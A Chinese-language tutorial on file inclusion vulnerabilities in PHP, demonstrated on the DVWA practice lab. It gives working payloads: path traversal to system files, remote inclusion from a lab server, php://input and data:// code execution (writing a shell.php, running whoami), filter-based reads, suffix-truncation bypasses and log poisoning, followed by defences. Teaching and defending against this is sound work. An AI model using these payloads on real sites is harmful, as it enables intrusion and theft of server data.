《Web安全》02. 文件包含漏洞

本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《软件工具录》。

1:漏洞简介

文件包含漏洞几乎只存在于 PHP。

对于 Java 的文件包含来说,造成的危害只有文件读取或下载,一般情况下无法进行命令执行或代码执行。

  • 因为一般情况下 Java 对于文件的包含并不能将非 jsp 文件当成 Java 代码去执行
  • 而如果存在 jsp 文件是一句话木马文件,可以直接去访问利用,并不需要多此一举去包含它来使用
  • 除非在某些特殊场景下,如某些目录权限不够,可以尝试利用包含来绕过(理论上)

1.1:漏洞原理

文件包含漏洞:如果动态包含的文件路径参数用户可控,攻击者可以操纵该路径,试图包含任意文件并解析执行。

文件包含:允许程序在执行过程中动态引入其他文件的内容,可提高代码的可维护性、可复用性和组织性。

  • 例如:将经常重复使用的函数或特定的页面写到单个文件中,需要使用的时候直接包含此文件即可

1.2:危害

漏洞危害:

  • 读取敏感文件信息
  • 远程包含 webshell,执行任意代码,或者进行内网探测
  • 配合文件上传,执行任意代码
  • 配合伪协议,进行文件读取、代码执行或内网探测

1.3:利用条件

  1. 无版本限制
  2. 文件包含路径参数可被攻击者操控且过滤不严格
  3. 相关配置没有对可包含的路径进行限制

1.4:相关底层源码

Java:jsp 静态包含

1
<%@ include file="test.jsp" %>

Java:jsp 动态包含

1
2
<!-- 使用 JSTL(JavaServer Pages Standard Tag Library)中的 <c:import> 标签,从外部 URL 或其他资源动态加载内容 -->
<c:import url="${pageToInclude}" />
1
2
<!-- <jsp:include> 标签用来在请求时动态加载页面 -->
<jsp:include page="${includePage}" />

PHP:require

  • 找不到被包含的文件时会产生致命错误,并停止脚本运行

PHP:require_once

  • 如果文件已经被包含,则不会再次包含

PHP:include

  • 找不到被包含的文件时产生警告,脚本将继续运行

PHP:include_once

1
include $file_to_include

2:注入点

注入点正常情况下是用来提供动态文件包含的功能。

常见注入点:

  • 在实现代码复用时,可能使用动态文件包含
  • 在需要进行热更新的情况下,可能使用动态文件包含
  • 一些框架代码会引入动态文件包含功能
  • 从 URL 上观察关键词,与文件相关的字眼,都可能存在文件包含漏洞

3:漏洞类型

文件包含漏洞分为:

  • 本地文件包含(Local File Include,LFI)
  • 远程文件包含(Remote File Include,RFI)

4:验证 & 利用

4.1:漏洞验证

判断方式:

  • 包含一个系统本地文件进行测试
  • 包含一个远程文件进行测试

若包含的文件被成功读取或运行,则漏洞存在。


对于 Windows 系统,可以尝试本地包含以下文件进行测试:

  • C:\Windows\win.ini
  • C:/Windows/win.ini
  • C:\Windows\System32\drivers\etc\hosts
  • ../../index.php
  • ../../config.php

对于 Linux 系统,可以尝试本地包含以下文件进行测试:

  • /etc/passwd
  • /etc/hostname
  • ../../index.php
  • ../../config.php

4.2:本地文件包含

适用场景

  • 代码未对可以包含的路径进行限制或限制不严格
  • 具有可读权限

漏洞利用

  • 借助回溯符【../】读取敏感信息

漏洞利用 - 方式 2

  • 直接通过绝对路径包含敏感文件

漏洞利用 - 方式 3

  • 通过 file:// 协议包含敏感文件进行读取

漏洞利用 - 方式 4

  • 配合文件上传,包含图片马等 Webshell 进行利用

4.2.1:示例(读取文件)

以 DVWA File-Inclusion(low)为例。

  • 正常提供的功能如下:

?page=./file1.php

Alt text

  • 通过绝对路径包含敏感文件进行读取:

?page=C:/Windows/win.ini

Alt text

4.2.2:示例(读取文件)

以 DVWA File-Inclusion(low)为例。

  • 通过 file:// 协议包含敏感文件进行读取

?page=file://C:/Windows/win.ini

Alt text

4.2.3:示例(执行代码)

以 DVWA File-Inclusion(low)为例。

  • 配合文件上传等操作进行代码执行:

?page=../../../../../../../phpinfo.txt

Alt text

4.3:远程文件包含

适用场景

  • php.ini 文件中 allow_url_include = On
  • php.ini 文件中 allow_url_fopen = On

漏洞利用

  1. 将准备包含的文件放置到一台服务器,并测试是否能访问
  2. 直接通过 URL 远程包含即可

4.3.1:示例

以 DVWA File-Inclusion(low)为例。

实验环境:

IP 主机
192.168.8.222 Win 7(目标机器)
192.168.8.1 Win 10(恶意服务器)

远程包含文件实现代码执行:

?page=http://192.168.8.1:8000/phpinfo.txt

Alt text

4.4:伪协议【php://input】

适用场景

  • 代码过滤不严格
  • 伪协议 php:// 未被过滤
  • php.ini 文件中 allow_url_include = On

漏洞利用

  • URL 指定伪协议 php://input,同时 POST 传递 PHP 代码,进行代码执行

4.4.1:示例(写文件)

以 DVWA File-Inclusion(low)为例。

  • URL 指定伪协议

?page=php://input

  • POST 传递数据

<?php fputs(fopen("shell.php","w"), "<?php phpinfo();?>") ?>

Alt text

4.4.2:示例(执行命令)

以 DVWA File-Inclusion(low)为例。

  • URL 指定伪协议

?page=php://input

  • POST 传递数据

<?php system('whoami');?>

Alt text

4.5:伪协议【php://filter】

适用场景

  • 代码过滤不严格
  • 伪协议 php:// 未被过滤

漏洞利用

  • 传递绝对路径、相对路径,通过 php://filter/read/resource= 读取明文形式的文件内容(可能造成报错告警)

漏洞利用 - 方式 2

  • 传递绝对路径、相对路径,通过 php://filter/read=convert.base64-encode/resource= 读取 Base64 形式的文件内容

漏洞利用 - 方式 3

  • 传递网络地址(http|https|ftp),通过 php://filter/read=convert.base64-encode/resource= 读取 Base64 形式的远程文件(内网探测)

4.5.1:示例

以 DVWA File-Inclusion(low)为例。

  • 提供绝对路径读取文件

?page=php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini

Alt text

4.5.2:示例 2

以 DVWA File-Inclusion(low)为例。

  • 通过网址读取文件

?page=php://filter/read=convert.base64-encode/resource=http://192.168.8.1:8000/phpinfo.txt

Alt text

4.6:伪协议【data://】

适用场景

  • 代码过滤不严格
  • 伪协议 data:// 未被过滤
  • php.ini 文件中 allow_url_include = On

漏洞利用

  • 通过 data://text/plain, 明文传递 PHP 代码,进行代码执行

漏洞利用 - 方式 2

  • 通过 data://text/plain;base64, 以 Base64 形式传递 PHP 代码,进行代码执行

4.6.1:示例

以 DVWA File-Inclusion(low)为例。

  • 通过 data://text/plain, 明文传递 PHP 代码,进行代码执行

?page=data:text/plain,<?php system(whoami);?>

Alt text

4.6.2:示例 2

以 DVWA File-Inclusion(low)为例。

  • 通过 data://text/plain;base64, 以 Base64 形式传递 PHP 代码,进行代码执行

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk7Pz4=

Alt text

4.7:伪协议【zip://】

适用场景

  • 目标环境支持 zip 流
  • 伪协议 zip:// 未被过滤
  • 能获取压缩包的路径

漏洞利用

  • 上传一个恶意代码的 zip 压缩文件,通过 zip://<zip文件路径>#<内部文件路径> 进行代码执行

4.7.1:示例

以 DVWA File-Inclusion(low)为例。

  • 压缩包 test.zip 内的文件路径为 test/phpinfo.txt

Alt text

  • 通过 zip://<zip文件路径>#<内部文件路径> 进行代码执行

?page=zip://D:/T/test.zip%23test/phpinfo.txt

Alt text

5:防护绕过

5.1:绕过前缀指定

如果代码中明确指定了文件前缀:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/' . $file;
?>

绕过方法

  • 利用回溯符【../】进行目录遍历

对于 Windows 系统,如果指定的目录在某个盘符下,则只能遍历该盘符下的目录,无法跨盘符

5.2:绕过后缀指定

如果代码中明确指定了文件后缀(或者其他类似情况):

1
2
3
4
<?php
$file = $_GET['file'];
include $file . ".html";
?>

绕过方法

  • %00 截断
  • 路径长度截断
  • 点号【.】截断
  • 问号【?】绕过
  • 井号【#】绕过
  • 伪协议绕过(方法见【4:验证 & 利用】)

5.2.1:%00 截断(待验证)

适用场景

  • PHP 版本小于 5.3.4
  • php.ini 中 magic_quotes_gpc = Off
  • 没有使用转义函数

绕过方法

  • 在传递的文件名后加上【%00

示例:

1
2
3
4
5
6
?path=welcome
// 后端接收并拼接后缀的结果:welcome.html

?path=phpinfo.txt%00
// 后端接收并拼接后缀的结果:phpinfo.txt[0x00].html
// 导致 .html 被截断,实际包含 phpinfo.txt 文件

5.2.2:路径长度截断(待验证)

原理:对于文件和目录名,如果数据超过最大值后超出的数据会被直接丢弃掉。

适用场景

  • PHP 版本小于 5.2.8

绕过方法

  • 在传递的文件名后不断的重复添加【./

示例:

1
2
?path=phpinfo.txt/./././././././././././././././././././ 后面省略
// 后端接收并拼接,由于超过最大值导致 .html 被截断,实际包含 phpinfo.txt 文件

5.2.3:【.】截断(待验证)

原理同【5.2.2:路径长度截断】。

适用场景

  • PHP 版本小于 5.2.8
  • 操作系统为 Windows

绕过方法

  • 在传递的文件名后不断的重复添加【.

示例:

1
2
?path=phpinfo.txt................................ 后面省略
// 后端接收并拼接,由于超过最大值导致 .html 被截断,实际包含 phpinfo.txt 文件

5.2.4:【?】绕过

原理:URL【?】后面的内容被当作请求的参数,从而使用问号来实现伪截断。

适用场景

  • 对 HTTP/HTTPS 协议的远程文件包含有效

绕过方法

  • 在传递的 URL 最后添加【?

5.2.4.1:示例

以 DVWA File-Inclusion(low)为例。

?page=http://192.168.8.1:8000/phpinfo.txt?

Alt text

5.2.5:【#】绕过

原理:URL【#】为片段标识符,后面的内容被当作一个位置,从而可以用来实现伪截断。

适用场景

  • 对 HTTP/HTTPS 协议的远程文件包含有效

绕过方法

  • 在传递的 URL 最后添加【#

5.2.5.1:示例

以 DVWA File-Inclusion(low)为例。

?page=http://192.168.8.1:8000/phpinfo.txt#

Alt text

6:防范方法

  • 尽量不使用动态包含
  • 对于 php.ini 配置文件,将 allow_url_include 和 allow_url_fopen 配置为 Off,或者最小权限化
  • 严格检查地址,不允许出现目录跳转符
  • 可以使用白名单,对可以包含的文件进行限制

7:补充知识

7.1:伪协议介绍

封装协议(Stream Wrappers),也被称为伪协议(Pseudo-protocols)。

封装协议是开发语言提供的一种机制,允许通过统一的接口访问不同类型的资源(例如文件系统、网络资源、压缩流、数据流等)。

为什么称作伪协议

  • 并非真正的底层网络通信协议,而是通过抽象机制实现,统一资源访问的接口,模拟了协议的功能
  • 使用时的形式类似于 URL,使其看起来像一种协议,但实际上底层逻辑由开发语言实现,具体操作会调用开发语言内置的扩展或函数

7.1.1:真实协议与伪协议对比

特性 真实协议(如 HTTP) 伪协议(如 PHP 封装协议)
定义 国际标准组织定义,跨语言跨平台 PHP 自定义实现
使用场景 网络通信或操作系统底层功能 PHP 应用中的抽象访问
实现方式 操作系统内核或网络堆栈支持 PHP 内部函数或扩展实现
扩展性 固定协议规则 需要通过 stream_wrapper_register 扩展
典型示例 HTTP、FTP、SSH 等 php://phar://

7.1.2:PHP 伪协议介绍

php://:访问 PHP 的输入/输出流以及其他特殊流。

常见用法:

  • php://input:读取原始 POST 数据
  • php://output:只写流,直接写入 PHP 输出缓冲区
  • php://filter:在文件流的读取或写入过程中,动态应用过滤器。常用于编码转换或特殊处理
  • php://memory:创建内存流
  • php://temp:创建临时文件流
1
2
3
4
5
$rawData = file_get_contents('php://input');
echo "原始 POST 数据: " . $rawData;

// 假设通过 POST 请求发送 JSON 数据: {"key":"value"}
// 输出:原始 POST 数据: {"key":"value"}

zlib://:访问压缩流,用于读取或写入 gzip 压缩数据。

示例:

1
file_get_contents('zlib://example.gz');

data://:通过内联数据访问资源(符合 RFC 2397 标准)。

示例:

1
file_get_contents('data:text/plain;base64,SGVsbG8gd29ybGQ=');

zip://:用于直接访问 .zip 压缩文件中的内容(只支持读取操作,不能修改或写入压缩包)。

语法:zip://<zip文件路径>#<内部文件路径>

示例:

1
2
3
// 读取 archive.zip 中 file.txt 的内容
$content = file_get_contents('zip://path/to/archive.zip#file.txt');
echo $content;

glob://:查找匹配的文件路径模式(实际上是 glob() 函数的包装)。

示例:

1
2
3
foreach (glob('glob://*.php') as $file) {
echo $file;
}

phar://:访问 PHP 归档(PHAR)文件中的内容。

示例:

1
file_get_contents('phar://archive.phar/file.txt');

7.2:日志文件包含利用

日志会记录客户端请求及服务器响应的信息,几乎所有的网站都配置了日志功能。

因此,攻击者可以通过构造访问,使 Web 日志插入 PHP 代码,然后通过文件包含漏洞来包含日志文件,执行包含在日志中的 PHP 代码。

示例:

  • 请求 http://example.com/<?php phpinfo(); ?> 时,<?php phpinfo(); ?> 也会被记录在日志里
  • 也可以将代码插入到 User-Agent 头里
  • 之后通过路径包含日志文件即可利用

注意:

  • 请求的信息有可能被 URL 编码之后记录到日志,可以通过 BurpSuite 发送请求包来防止被编码
  • 如果网站访问量很大,日志文件可能会非常大,如果包含很大的文件时,PHP 进程可能会卡死
  • 一般网站会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功

7.2.1:补充

Apache 可能的日志路径:

1
2
3
4
/etc/httpd/logs/access_log
/var/log/httpd/access_log
/var/log/apache2/access.log
D:\xampp\apache\logs\access.log

IIS 可能的日志路径:

1
2
3
C:\WINDOWS\system32\Logfiles
%SystemDrive%\inetpub\logs\LogFiles


Nginx 可能的日志路径:

1
2
/usr/local/nginx/logs
/var/log/nginx/access.log

8:其他

8.1:相关平台

DVWA:

8.2:参考资料

《【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍》:
https://www.cnpanda.net/codeaudit/1037.html

《面试中碰到的坑之包含漏洞专题》:
https://cloud.tencent.com/developer/article/1144850

《文件包含漏洞学习小结》:
https://www.freebuf.com/articles/web/291633.html

《关于文件包含漏洞的一些知识点》:
https://xz.aliyun.com/t/12506

《默认日志和配置文件路径》:
https://www.cnblogs.com/my1e3/p/5853703.html

《文件包含漏洞与文件包含Bypass漏洞基础》:
https://cloud.tencent.com/developer/article/1597432

《php文件包含漏洞》:
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/




半世浮萍随逝水,一宵冷雨葬名花。

——《山花子》(清)纳兰性德